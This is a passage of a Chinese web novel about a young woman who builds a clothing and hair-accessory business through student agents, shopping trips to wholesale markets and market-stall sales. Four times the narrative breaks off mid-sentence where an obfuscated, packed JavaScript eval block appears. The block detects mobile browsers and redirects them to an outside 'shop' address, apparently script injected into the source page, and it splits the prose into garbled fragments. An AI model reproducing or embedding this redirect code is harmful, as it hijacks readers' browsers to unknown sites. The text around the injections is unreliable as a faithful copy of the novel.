她很认真的说：“我自己挣钱后，才发觉心里有了底气。我不用依靠任何人，就可以养活自己。所以，大人不再把我当孩子。我说什么，他们也愿意听，愿意相信。” 高新群心里挺触动。其实，她们学校里也有些不好的传闻。学校管的不太严，一到放假总会有车开进来。最开始她以为是学生家长，可后来听说是那啥，上了车就能挣钱。同学还告诉她，看见车车顶上放瓶子，就无视，别理会。 不过她还是有点胆小，自己是家中老小，一时间拿不定主意。可她也不傻，知道徐春天是为她好。 “春天，我回家问问。你能我回来，行吗？” 徐春天点点头，“行。” 这一刻，她更加意识到了自己的转变。曾经，她什么都听父母的，抱怨父母给她订婚，坏了名声后还逼婚，管她要钱，让她的生活糟糕透顶。 但反过来想，她为什么不反抗呢？她不责怪那时候的自己，毕竟都在教育她孝顺父母，从小到大都听从父母的安排。 徐春天只是庆幸现在的自己，可以靠自己的双手挣钱，可以有底气的按照自己的设想生活。 高新群没让她等很久，骑着自行车呼呼的跑回来，身后还带着一个年龄大一点的男生。 “春天，这是我姑家的哥，他在一中读高三。” 小伙子戴着眼镜，打过招呼就没有说话，而是在徐春天的摊位前看。看了一会他有点迟疑的问：“你是不是认识李亦航和陈一帆？高一的？” 徐春天点头，“是啊，本来我和他们是同学的，只是我休学了。” 小伙子推了下眼镜，“休学？” 随即他想到了什么，“你不会就是那个，高一火箭班退学的徐……？” “徐春天，你说的大概就是我。不过，我休学真不是因为嫁人等各种传言。” 高新群这才反应过来，“哥！你们学校都瞎传什啥呢？你都高三了，也这么八卦？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16909352|192180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她哥尴尬的笑了笑：“我也没说啥，就是听大家传。”有句话他美没说出来，目光落在徐春天脸上，传言虽然不可信，但有句话没错，徐春天真漂亮，比大家评选的那几个校花都好看。 高新群拉起徐春天，“别理我哥，他就是不愿意在家说话，非和我来。” “你刚才说的事，我爸说行。还让我问问，你和一中的代理是什么模式。” 她硬着头皮说出这句话。哎，高新群觉得自己脸都红了。她不说不行啊，她哥也会帮她问。 徐春天笑了笑，“哎呀，不要觉得不好意思。不管是花钱，还是挣钱，都是很重要的事。” 她简单的说了下和程颜她们的代理协议。高新群她哥建议选一样的，花钱拿货，自己定价。“你们学校可是在市里，消费水平怎么也比咱这高，你卖高一点，肯定也卖的出去。” 如果单纯做代理，只拿提成，保险是有了，但挣得肯定少。 “富贵险中求！” 高新群直接被她哥逗笑了。“哥，你太搞笑了！” 两个人愉快的达成协议，徐春天要有准备，拿出了她提前准备好的纸质协议。 “我就知道，你肯定会答应。” 高新群拿着协议还有点激动，她哥从旁边问：“徐同学，一中你还考虑新代理吗？” 高新群：“哥，你裹什么乱？” 徐春天对他印象还挺好：“学长，你都高三了，好好学习，考出好成绩！” 正月十三，徐春天直接去了趟省会。上一世就听说省会有个超级大的服装批发市场，但她从未去过。这次也是跟刘姐一起来，毕竟新人去很容易被忽悠。 刘姐一直从这进货，这次来就是为了买年后新款。早知道，春晚不只是节目好看，有时候也会带出一些好看的衣服款式。 “那年刘晓庆穿的衣服，太好看了，大家都直接叫它晓庆衫，过年之后，大街上几乎人收一件。”刘姐对这件衣服印象深刻，那时候她这正是十八九岁的年纪。她忍不住感叹：“南方发展的比咱这边快，许多新潮的好看的衣服，都是那边先流行起来的。” 徐春天点点头，南方的确是发展的也早嘛。 “今天你从年轻人的角度，帮我看看看有啥不错的衣服。” 徐春天对自己的审美挺有信心，只不过没想到刘姐这么信任她。“刘姐，会尽力，不过有时候感觉审美是很个人的东西。” 刘姐不太认同，“但美的东西，大家都能看的见。我家孩子和你差不多大，今年春晚上有一首歌，她们还挺喜欢。我也觉得很不错。你猜是哪首？” 徐春天想了想，首先排除周杰伦。虽然她很喜欢，也超级爱听。但家里的长辈，似乎不怎么喜欢，说唱歌的吐字不清。 “《点击春天》？我觉得这歌不错。虽然唱歌的都不认识，感觉很青春，衣服也好看。有个穿绿衣服的，笑得很美。” 刘姐笑了，“就是它。我就说嘛，真正美的东西，大家都能看见。” 徐春天知道省会的批发市场肯定很大，但没想到会那么大！ 28. 春装要点 批发市场刚入口就不知道有多少个。分明是刚过年，徐春天看着市场里都是人。“刘姐，这也太大了吧，好多人啊！” 刘姐带着她熟练的找到入口。“对啊，这里分好几个部分，咱们直接去服装城。那里都是卖衣服的。” 她们那距离这还挺远的，来一趟不容易。刘姐家里有车，自己开车也要三四个小时。徐春天她们早上四点多出发，一路颠簸，本来还有点累，可进入市场，整个人都兴奋起来。 太多好看的衣服，忙碌的人群。“进货可一定要注意。新款多比比，市场里窜货情况挺多，再就是尺码啊数量啊。不要看着衣服好看就觉得一定好卖。衣服总归是穿到身上的，一定考虑下人群定位。” 刘姐边走边说。徐春天心里也摸索出些门道，比如她卖袜子，在大集上卖，肯定是基础款，重点就是耐穿，好看，价格便宜。一中供货的袜子则是运动款和休闲款，好看、耐穿、价格实惠。 过年之前她就特意进了些红色新年袜，放到集上卖。人们日常穿袜子，基本不会穿红色，只有过年，红色袜子才有市场。 刘姐有自己的进货渠道，她主要是想整点新鲜货。 “刘姐，灯笼裤还不错，大口袋。” “旗袍领的那件。也好看，里面有个主持人，穿了件旗袍，就老好看了。” “我看着黄色系和绿色系的衣服，颜色很舒服。” …… 徐春天给出了自己的建议，最终刘姐增加了几个新品。徐春天自己进了两类春装。一种是运动服，整体蓝白格红白两种颜色搭配，袖子和裤腿上有彩色条纹。另一种则是周杰伦春晚上穿的夹克外套。她和高新群都以为是棒球服，实际上一款蓝色带刺绣的夹克外套。徐春天又搭配进了一批大兜灯笼裤。 她还去了几个实体店，像美特斯邦威，以纯等，衣服好看但也是真贵。一件花线毛衣要二百多，还有件夹克差不多的男装外套四百多。虽然徐春天买不起，可人家衣服卖的很快。也就一会儿的功夫，就成交了三套。 省会有钱人就是多啊。 徐春天进的衣服数量有限。毕竟衣服比较压货，成本高一点。 正月十四，场外街集热闹非凡。孩子们过了十五，就要开学了，当然是抓紧最后的时间，尽情玩。 集上热热闹闹，徐春天特意穿上一件宽大的湖蓝色夹克外套，底下搭配上宽下窄的灯笼裤，裤腿收紧，显得整个人腿又长又直，明明还是冬天，大家都穿的厚实臃肿，她却是格外轻盈。 徐春天没有让徐春河和春雨摆摊，而是让他俩在穿上新买的衣服，站在摊位前帮忙。 兄妹二人一个小学生，一个初中生，长得都不差，一身运动装显得人很洋气，春河穿的是蓝白宽，春雨穿红白款。 不过徐春天的摊位就只能容下她的摊车，也就三米长的距离。徐春天就把三人穿的头款衣服，各取出一套，直接挂车头位置。 其他衣服都放在原来那辆脚蹬三轮车里，车在停在摊位后，紧靠着墙。 他们三个人，分明就是穿上衣服展示宣传，立体的活的模特。看的过往的孩子们眼热。有些家长，特别是家中孩子年龄与徐家兄妹差不多的，想着自己节后就外出打工，心里就想给孩子买件。 价格肯定不便宜，可大人不陪在孩子身边，已经觉得有点愧疚。服装店里的衣服贵的不舍得买，大集上的衣服，再贵能贵到哪里去。 “这衣服，你们卖吗？” “卖！孩子来了吗？最好是让孩子试试，我们后面有衣服，还有镜子。车头有帘子，试衣服不冷。” 徐春天决定自己太机智了。把挡风遮雨的车头也利用起来，扯个帘子，不就是服装店里的试衣间嘛。人在里面脱衣服穿衣服，不用担心别人看到，大冬天的，也不太冷。 她记得自己上初中的时候，孙兰清带她赶集买裤子，还非让她试一试。可集上哪里有试衣间。徐春天当时脸皮薄，非常不好意思，坚决不试，两人差点吵起来，可把孙兰清气的够呛。徐春天也觉得委屈极了。她真的讨厌当街脱衣服试衣服，觉得大家都在看自己。 当然，衣服肯定是要试一试。挂在衣架上好看的衣服不是真好看，穿在身上好看的衣服，才是真的好。 “春河，春雨，帮忙拿衣服。” 两个人有了年前摆摊的经历，现在接人待物，已经锻炼的有模有样。 “最新款的衣服，好看又时尚，今年最新款，县里还没有呢。进的不多，卖完就没有了！” 徐春天也趁机招呼招呼。运动服是成套卖，拆开了就不好卖。 “裤子有点长？” “这个简单，家里有机子（缝纫机），自己回去修一下裤脚。您要是不方便，就我家修，不要钱。” 徐春天说着，拿起裤子比划，“不用减掉，就折起一块就行，到时候裤子短了，再放下来。” “这裤子很耐穿，还不起球。” …… 徐春天说的有理有据，还贴心的为顾客考虑。她衣服卖的可不便宜，但质量的确好，服务也好。 孩子穿上老喜欢，看着也精神。家长嘴上说着贵，就顺其自然的进入了讲价环节。 卖衣服肯定是会讲价的，一口价那不是个事。徐春天最开始挺不习惯讲价，可后来她就发现了秒处。顾客讲价就会延长停留的时间，让别人觉得摊位上生意不错。你一言我一语，旁边其他想买的人，特别是嘴笨不会讲价的，也愿意偷偷听着。等别人讲好了她就能直接捡漏。 徐春天还能趁机在讲价环节，适当输出自家衣服的优势，无论是从价位还是质量款式。她有时候觉得自己都有点变态，讲价环节让她体验到了什么是与人斗，其乐无穷。 经过一番拉扯，在徐春河和徐春雨目瞪口呆中，徐春天看似做了让步，还搭上一双袜子做赠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16912861|192180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 品才成交。实际上卖出这套衣服，她能挣将近一半。 场外街集上的人，大多都知道徐春天的情况。比如她爸是谁，她娘是谁，她姥娘在哪村，她姑她舅是干啥的。几个需要修裤脚的顾客，买完还真去了她家，孙兰清给她们免费修了裤脚。 就一个集，徐春天的衣服就卖出了将近一半，回本了。运动服的受众多是小学和初中生，卖的比较多。徐春天身上的衣服，基本是高中生或年轻人穿，还剩下不少。 “姐，你身上这套衣服也好看啊，问的人不少，为啥买的不多呢？” 徐春雨不太明白。 徐春天笑了笑，“因为有时候，人心很奇怪。很多人觉得，大集上没有好看的衣服。他们觉得店里的衣服，品牌的衣服，更时尚，更好看。”穿出去也更有面子。 过了正月十五，小学初中还有高中就开学了。徐春天依旧主打卖袜子。家里中国结的业务也都停了。徐春天把主要精力放在设计制作新的头饰上。 高新群开学晚，在开学前，她还和徐春天一起去了趟县一中。自从决定做代理，她自己心里就忐忑。听说有人负责运输，会把货直接送到学校，她还是想见见这个人。 按照徐春天的说法，这个人属于她的上层，对方负责运输，还保证货品质量，如有破损，都归对方负责。 其实高新群并不知道，李亦航不是按次收费，而是按照收益分成。相当于李亦航从徐春天手里承包了运输这块，实际高新群收到多少，就付多少钱。折损的这块直接不收，相当于运输方承担。 李亦航的爸妈将钱存入李亦航银行卡，由他再把货款返还给徐春天。虽然听起来麻烦，但这样可以确保高新群的利益。她作为一个学生，承受风险能力最小。 而另一方面，也保证了李家人的利益。现在还没有那么便捷的物流，发邮政费用高，且高新群收获不方便及时。对于徐春天而言，她只需要设计生产，然后就是收钱。 这次去县一中，她还要见见谭玉的姐姐。年前就只是提了一下，徐春天也不太了解她姐姐具体的情况。等徐春天 到了县城，谭玉直接在小巷口等着她了。 “春天！你可来了，先去我们那。” 说着都不让徐春天下车，陈一帆在旁边幽怨：“谭玉啊，你太霸道了，徐同学都到我们家门口了，就不能进来一下吗？” 他抓住车子，“徐同学，我们的新货！” 徐春天笑的有点不好意思：“陈同学，货在车上呢，你们先搬下来清点吧。我先去谭玉那。” 说着她打开车厢上的锁，自己上手就搬，陈一帆和李亦航见状，赶紧冲过来，“哎呀，我们来！” 陈一帆眼看徐春天是不会进院子了，就直接长话短说：“徐同学，我也有个姐姐，她考上宁城女子学院，学会计。她们那女生可多了。” 少年双眼亮晶晶的，“我姐也想做代理！” 29. 异地代理 陈一帆和谭玉都是村里孩子，家庭条件一般。只不过她俩性格多了份莽撞和勇敢，再加上徐春天珠玉在前，也就有了敢想敢做的勇气。 两人卖袜子头饰这段时间，就只是在同学们中间宣传，袜子质量好价格便宜，还不用出校门，好多人都是直接说一声，她们直接带教室。有时候买的人多了，陈一帆还会直接送宿舍里。 挣钱的同时，学习并没有落下。反而是因为每天忙碌而充实，生活里除了学习就是挣钱，每晚倒头就睡，饭量猛增，陈一帆个子都高了。 谭玉的变化也很明显。自从她拉上程颜开始卖头饰和袜子，整个人都积极了起来。家里说如果她成绩下降，绝对不让她乱搞这些。所以她都没空读小说了，以前最心爱的青春期刊、郭敬明的《幻城》《梦里花落知多少》她都没有看完，现在更是完全没时间看。有空就学习，生怕她起头干的事，自己却半路撂挑子。 正是因为她俩的努力，过年的时候，才有底气询问姐姐的想法。这种挣钱的好事，当然是先紧着家里人。 因此，徐春天见到谭玉姐姐时，比她大几岁的女孩，青春靓丽。显然是静心打扮过，看徐春天进来，虽然有点紧张，但还是笑着自我介绍：“徐春天你好，我是谭玉的姐姐，我叫谭敏。过年就听小玉夸你，说你厉害。” 徐春天知道她是谭玉的堂姐，一家人里谭敏是第一个考上大学的，　“谭敏姐姐好。关于代理的事，谭玉和你应该说过了吧。你怎么想的？” 谭敏内心有点惊讶于徐春天的直接，不过随即她就想到，谭玉提到过，徐春天非常直爽痛快，和她相处有话直说就行。 “大学里空余时间挺多，我们学校鼓励学生校园创业，高年级的学生有开洗衣店的，冬天摆摊卖帽子围脖的。” 她年轻的脸上神采奕奕：“我真的想干。我们专业几乎都是女生，大家爱打扮，购买力也可以。只要好看，新潮，绝对不愁卖。” “大学里我们学校在兴东市，县里每天有一班长途汽车直达。” 几句话，她就把优势说全了，徐春天看得出她思维清晰，的确是用心思考也做过调查，而不是听说赚钱一时冲动。 徐春天拿出准备好的协议，“谭敏姐姐，你看一下协议，有没有要补充的，若是没问题，咱就签。” “还有关于运输问题，你不用管，我这边负责。收到货你一定检查仔细，有损坏当场退回，再结算费用。” 听到这话，谭敏就知道徐春天很专业，也是做足了准备。认真的查看协议的条款，随后签字。 协议一式三份，徐春天收起来，“还需要一个人签字。等会给你送来。谭敏姐姐，学校里的事你自己灵活掌握。我能保证，一年内，兴东市我只会发展你一个代理。” 事情谈完，徐春天把给程颜和谭玉的货放下，随即去找陈一帆和李亦航。 意外又不意外的是，小院里多了个女孩。 “徐同学，这就是我姐，王晓倩。她是我大姨家的姐姐。” 王晓倩很瘦，穿着普通。她有一双大眼睛。长相清秀，但笑起来让人心生亲近，。 “徐同学你好呀。” 声音特别好听。徐春天笑了笑，“晓倩姐姐好，代理的情况。陈一帆肯定也和你说过了。你是怎么想的？” 徐春天单刀直入。王晓倩还真是有备而来。“我们学校是女子学院，听名字就知道，女生多。我在学校也摆摊，卖过护肤品，我也去商场里干过促销。经验这块也有。” 她拿出了一个包，“我还带了些年前在学校里比较受欢迎的头饰。听说这你也设计头饰，我还能收集大家的意见，定期给你反馈。” 徐春天决定，王晓倩真不亏是陈一帆的姐姐，胆子大，思维缜密，比他更有商业头脑。 “晓倩姐姐，你真厉害。这是协议，你看看是否需要完善补充。我就说三点，收到货一定检查，质量不行的当场退，再结清货款。运输这块，你应该也听陈一帆说了，李亦航负责。最后就是学校内的销售，你灵活掌握。我能保证，未来一年内，你所在的城市，我只发展你一个代理。” 徐春天诚意十足，而且，无论是谭敏还是王晓倩，中间还有谭玉和陈一帆，彼此之间都有关系，不会轻易闹掰。 “没问题，徐春天，我们合作愉快！” 离开县城，已是傍晚，徐春天骑车在路上，心里盘点，她目前已经发展了三个外地校园代理，负责头饰销售。四个县一中代理，负责头饰，袜子和内裤。还有两个野生代理，就是小学生徐春雨和初中生徐春河。 销售方面她主要负责，自然是问题不大。就是生产这块，目前还只有三个人，人手不太够。扩大生产，很有必要！ 风很冷，临近傍晚天空也变得阴沉。徐春天记得天气预报里说，明天似乎有雨夹雪。 她加大马力，全力向家的方向驶去。等到了家里，天已经全黑了，路上村里亮起了等。家里门灯也开着，有个黑影站在门口。 “春天？你咋回来的这么晚？”徐大龙在路口张望也没等到人，这才回到门口暖和下。看到徐春天的车灯，他赶紧迎上去，“后院门开着呢，你把车给我吧，我帮你卸货。你赶紧去屋里暖和暖和。” 徐春天下车就去了前院，屋里暖和的很，孙兰清赶紧把盆里到上热水，“洗洗手，你咋回来的这么晚？一次让你爸和你去。一个小姑娘家，多不安全……” 她絮絮叨叨，又赶紧端过热水，“捧着杯子正好热乎乎的，等饭做好了。我马上炒个菜。”菜都切好了，怕炒早了就凉了。 一家子都还没吃饭，等着她呢。从后院写作业的徐春雨也跑了过来。“姐！下次带我去，我路上和你做伴！” 晚饭是地瓜粘粥，韭黄炒鸡蛋，炸藕盒，还有一碗黄焖鸡。 孙兰清指着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16913513|192180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黄面鸡，“你二姨家做的，可好吃了，你尝尝。今天让晶晶给送过来。她等了半天，天黑了才走。” 徐春天吃了一块黄面鸡，的确挺好吃。她还挺喜欢吃二姨做的饭，二姨做饭喜欢大开大合，浓油赤酱，很有锅气。 见徐春天只顾着吃，也没说话。孙兰清自己有点坐不住，“春天啊，你晶晶姐在外面打工，就是个家庭作坊，给人家昨天秋衣秋裤，也是用机子（缝纫机）。” 徐春天抬头，“她不想出去了？晶晶姐没和我说啊。”过年的时候，她见过的周晶晶。 孙兰清叹气：“是你二姨不愿意让她出去，觉得她年龄还小，性子又不稳。在人家家里干过，吃的也不好，出去一年，也没有挣多少钱。” “她想着，看看能让你姐在咱家干一段时间吗？” 徐春天知道，肯定是孙兰清和她二姨说，自己生意不错，惹得二姨心动。她有点不高兴。“咱家三个人，两缝纫机，再来一个，你是想让哪个婶子走？” “我我没有。”孙兰清可没想这么多，而且，她也不敢让人走，话也说不出口啊。 “你一个人看摊，也累，要不让她跟你看摊？” 徐大龙看不过去，“你啊，就不要管孩子的事。快吃饭吧。” 一夜无话，第二天清晨，院子里白茫茫的，徐春天裹着被子，看着前院屋顶上一片雪，地上也是白茫茫一片浅浅的雪。天空中看不清楚是雪还是雨。估计是夜里下雪，白天就是雨，或者雪落到地上就化了。 等她起床吃饭，地上的雪已经化成了积水。徐春天看着她娘孙兰清欲言又止，终究是想开了。 “娘，我的事，你不要管，我都有安排。” 孙兰清点点头。“哎，我知道了。” “你只和二姨商量，听二姨说，关键是我晶晶姐怎么想的。她都二十了，又不是小孩子。她如果真想来，就让她自己找我。” 徐春天看着天气有放晴的趋势，直接骑车赶集去了。土路泥泞，大路湿滑，一路上徐春天小心翼翼。路过村里，许多人家都还没开门，烟囱里有漂出炊烟。 等她到了集上，就看到李艳婶子已经开始摆货。大家都只看到了她们挣钱，可没吃过她们的苦，她们起早贪黑风雨无阻。天冷天热都得靠在集上。 周晶晶直接来集上了。 “春天，”她看着徐春天正忙，就主动上前帮忙递塑料袋。周晶晶二十岁，有点胖乎，嗓门大，性子跳跃，小时候特别皮，上树爬墙的，比男孩子还厉害。用她们当地的话，就是有点潮。 徐春天和她年龄相差不太大，小时候就跟她玩。上树爬墙戳马蜂窝，都是跟周晶晶学的。 小时候周晶晶有点假小子，现在却会打扮了。穿着短毛衣配毛呢裙子，都是年轻人。这身打扮在大集上不多见。大冬天穿裙子，还挺新潮。 “晶晶姐，你是自己想留在家里吗？” 30. 买手机啦 周晶晶笑了。 “春天，你变化挺大啊！说实在的，我还是想出去。老板娘虽然不太好，可工资挺高的。她还说，年后给我们涨工资。” “你不知道，我干活快，每个月都挣得最多。下了班，我和朋友们去商场，去饭店吃饭。咱这只有地，人家城里有公园，可漂亮了。夏天穿短裙吊带，也没人在背后说你。” 周晶晶叹了口气：“我娘也就是你二姨，总觉得我学坏了，看我染了头发，还非让我染回来。” 徐春天不太记得上辈子周晶晶怎么样，她只记得自己坏了名声，远走他乡，谁也不想联系。周晶晶在□□上给她流留言，骂她傻，后来又说让她别回来，也别给家里挣钱…… “姐，你想出门就去吧。我今年打算扩大生产，招几个人。活不多钱也不高，村里婶子大娘的就够用。” 周晶晶松了一口气，“你二姨也想来，又不好意思和你说。姐跟你说，让你二姨来吧。也就四里地，她自己每天骑车来回也近。今年让她地里少种点棉花，那玩意太累人。” 二姨家地里种了好多棉花。棉花谁种谁知道，要一直伺候，劈杈、掐顶心等等，几乎天天泡地里，几天不管棉花棵就疯长。 周晶晶也心疼她娘。她娘和小姨一样，性子软，说不出话。 “行啊，让二姨来呗！天气不好，留住我家。二姨手巧，棉鞋做的比我娘好看多了。” 徐春天还挺喜欢她二姨。 出了正月，徐春天家里东屋两间房子都改成了工作间，拆了火炕和外面的灶台，安上了暖气片屋子里宽敞起来，徐春天买了四台缝纫机。人手不太够，出了二姨，再就是同村另一小媳妇。 年轻的姑娘媳妇都出门打工了。村里除了大娘就是婶子，年轻人特别少。这个小媳妇还是因为年前刚生了孩子，孩子才六个月，没有断奶。她不舍得出去，就想着让婆婆看着孩子，自己找点活干。 “跟着她们闲聊，还不如干点活。家里有事，我也能直接回去。”小媳妇姓霍，叫霍玲玲。家是外地的，属于远嫁，说话还带着口音。 霍玲玲就想着等孩子大一点，断了奶她就出门，和她对象一块打工。村里的活，图个轻松离家近，没指望多么挣钱。 春天说来就来，徐春天年后那批衣服，着实让她挣了不少。刘姐进的新款，也收益颇丰。所以，刘姐趁天刚有点暖和，就叫着她去了批发市场。 “进点春夏的衣服，马上就能卖了！” 春夏的衣服，一改冬日单调的沉闷，颜色突然热烈起来。各种颜色就如同百花争艳，让人仿佛进入了彩色花园。 面料主要是雪纺，薄纱、棉麻，各种小碎花印花。省会的温度似乎更高些，人们也不怕冷，许多人已经穿上了靓丽的春装，如果花儿般，盛开在城市的每个地方。 春夏装成本略低，尝到服装甜头的徐春天，有大着胆子进了一批。她不走量，卖衣服主打一个时尚好看，消费群体依旧是学生。 春暖花开，春装也随之在大集上挂了起来。徐春天身着一件荷叶边层叠的上衣，苹果绿的颜色，雪纺的面料，看起来清新自然，面料自然下垂很有型，并非全然柔软贴身。不规则的下摆，很有特点。下身搭配一条宽松大口袋裤子。裤子看起来平平无奇，大口袋很能装。 徐春雨就觉得，这裤子合该她穿，口袋里她可以一个用来装头花，一个用来装零食。孙兰清则觉得，徐春天的上衣有点太花哨。还有春天给春雨买的衣服，最开始她还以为穿反了呢，没想到人家做衣服的故意设计的。孙兰清觉得，自己大概是真的孤陋寡闻，跟不上时代潮流，老了。 其实，并非是她老了，只是青春年少的孩子们，更喜欢样式新颖的衣服，穿上就很潮流好看。特别是作为第一个穿，那更是自信心爆棚。常屯中学的学生们，很多都认准了徐春天的小摊。 “春天，电话。” 傍晚时候，徐春天接起电话，对面竟然是高新群，“群群，咋了？” 高新群声音兴奋，“春天，你买个手机吧。又不是买不起，我今天给你打了好几个电话你都没在家。” 手机？ 徐春天还真没想到。她家里有座机，即便是平时联系程陈一帆和李亦航还有程颜她们，也都是打座机（李亦航家里有）。 印象中，唯有高新群有手机。她说过是自己出去上学，家里不放心，所以给她买了手机。她哥读高三，就没有。 上辈子徐春天有手机，就是为了工作用。平时在厂里忙的很，白天又要睡觉，几乎不怎么刷手机。而且，她特别害怕手机响，害怕来电话。家里来电话就是要钱，陌生电话大概就是骚扰。 “春天，你没有手机太不方便了，快买一个吧，也不贵。哎呀，我跟你说，头饰卖的很好，你快给我发货，不然我就断货了。” 徐春天缓过神来，“没问题，哪些卖的好，哪些剩下的多，你跟我说说。你还想要什么？” “哎呀，你要是有手机多好，在申请个□□，咱俩从□□上聊。我还收集了些改进的意见呢。” 听到高新群抱怨，徐春天立马做了决定，“群群，我明天正好去县城。我先把手机买了，你把□□号给我，我明天买了手机申请了□□就加你。” 高新群听了一阵欢呼，“太好了，你可终于想通了，买个诺基亚，翻盖的，要有彩灯。我手机里还有游戏，可好玩了。” “行！” 第二天，徐春天先去找了刘姐。见她来，刘姐很开心。徐春天给刘姐送了个她自己的如意摆件，时候招财猫的造型。 “姐，自己做的小玩意，你别嫌弃。” “哎呀，招财猫，多精巧啊，买都买不到呢。”刘姐是真挺喜欢。 听说她要买手机，刘姐打趣她，“你早就该买了。我家有座机，但说实话还是手机更方便。我给你推荐个地，你去了就说刘姐介绍来的，别的不好说，肯定买不贵。” 通过刘姐介绍，徐春天买到了她人生中第一部手机，店里还直接帮忙办卡，开通相关业务。店员还给她下载了□□和歌曲。 徐春天存了刘姐的手机号。搞定完这边的事，她就去了县一中后面的小巷子。临近中午，陈一帆和李亦航都会回家吃饭。程颜和谭玉住在学校里面，不太好进去。 “陈一帆，李亦航！” 徐春天等在门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16919089|192180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口，看到两人回来立马打招呼。 “我买了手机，你们记一下我的手机号，以后有事打座机或者手机都行。” 看得出徐春天很兴奋。陈一帆有点羡慕，“哎，我也想买，可惜家里不让。” 他就是个普通高中生，很根本也用不上手机。有啥事，家里会打李亦航家的座机。 “等我上大学了，我就买。” 李亦航犹豫了下，“其实，我也买了手机。” 陈一帆气的跳起来。“哪呢？我怎么从来没见你用啊？” “我没事用它干啥，天天忙着学习呢。主要是我还管送货吗，没有手机肯定不行。我和去兴东市还有宁城的师傅都是用手机联系。我还加了你姐和谭玉姐姐还有高同学的□□。” 李亦航但是坦白，一股脑都说了，徐春天后退一步，眼中闪过怀疑，“你也太深藏不露了吧？”这家伙果然不是好人，私底下有这么多小动作。 “没有没有！我真的是为了方便，不信你看我的聊天记录。” 李亦航这次真的有点跳进黄河洗不清了。他一点也不想被怀疑。 陈一帆和徐春天跟着李亦航进了屋。看着他从上锁的抽屉里取出手机，开机后，还单独点了一个地方，在登录□□。 “我就买了个5元流量包。平时尽量不用，超流量就可贵了。” 他打开□□，“你们看。除了货，我啥也没说。“ 这时候上网就是很麻烦，还贵，网速慢。大家很喜欢去网吧或者机房。大学里有机房，高新群还还说她去网吧里下载歌到MP3里，有个MP4就能看小说。MP3屏幕太小了，看的眼疼。 听完李亦航的解释，陈一帆和徐春天暂且相信他。徐春天加了他□□好友，顺便加了高新群谭敏和王晓倩。她们三个头像灰色，一看就不在线。干完这些，赶紧把流量关了。她得省着点用，超了可不行。 陈一帆哀嚎：“不行，我要去网吧，申请个□□。航哥，我一直以为你是个好学生，李磊他们逃晚自习去上网，熬通宵，都叫我好几回了。我为了你不去。” “哼，我今天要去网吧，要通宵，要打游戏。他们都玩梦幻西游，我也要玩！” “幼稚！” “行了，你俩别闹了。我得走了，帮我跟程颜谭玉说一声。以后可以打我手机。最好是晚上打座机，我晚上都在家。” 徐春天把给高新群的货带来了，让李亦航尽快运过去。徐春天知道，李亦航有他自己的渠道，不管是他爸妈，还是他外公这边的关系，反正这是他的事。她不会过问。毕竟如果没有李亦航，她的头饰，大概很难走出县城。 等徐春天回到家，徐春雨看到手机直接跑过来，新鲜极了，“姐，你买手机了？快给我看看！” 徐春天看着家里冷清，“咱娘呢？” 徐春雨摸着手机，“去小羽家了，好像是她家出事了。咱娘让我在家，不让我去。姐，你这手机还是翻盖的呢？还有彩灯……” 小羽出事？ 徐春天忙的都有点忘记小羽了。小羽回村后，就不怎么出门。小羽她娘天天来干活，说小羽在家看电视。在家里能出什么事。 32. 处处问题 “品牌名？你要注册商标吗？”李亦航猜测。 徐春天摇摇头，“下一步或许会。但具体流程我不了解。如今，我想让大家先帮忙取个品牌名。谭敏姐姐和王晓倩姐姐反馈，没有品牌名，也是影响产品销售的一大因素。” 谭玉心直口快：“是啊，怎么这品牌不品牌的，头花发夹戴头上也看不出来。” “那是因为大家都忙着学习了，不太关注这个，好看能用就行。”程颜倒是知道些品牌，不过她们学校商店里还有县城的精品店里，卖的牌子听起来也都是杂牌。 陈一帆挠挠头，“这都是女生的东西，反正是戴头上的，不如叫绾青丝？” “哇靠！陈一帆你怎么会起这么文邹邹的名？是不是偷偷看小说了？”谭玉直接吐槽。 “我觉得叫本饰，回归本源，经典装饰。” “本事？哈哈，谭玉你可真有本事！” “要不，叫海棠春？” “这名字，有点怪啊。干脆叫花间集？” “你这名字也不行。” 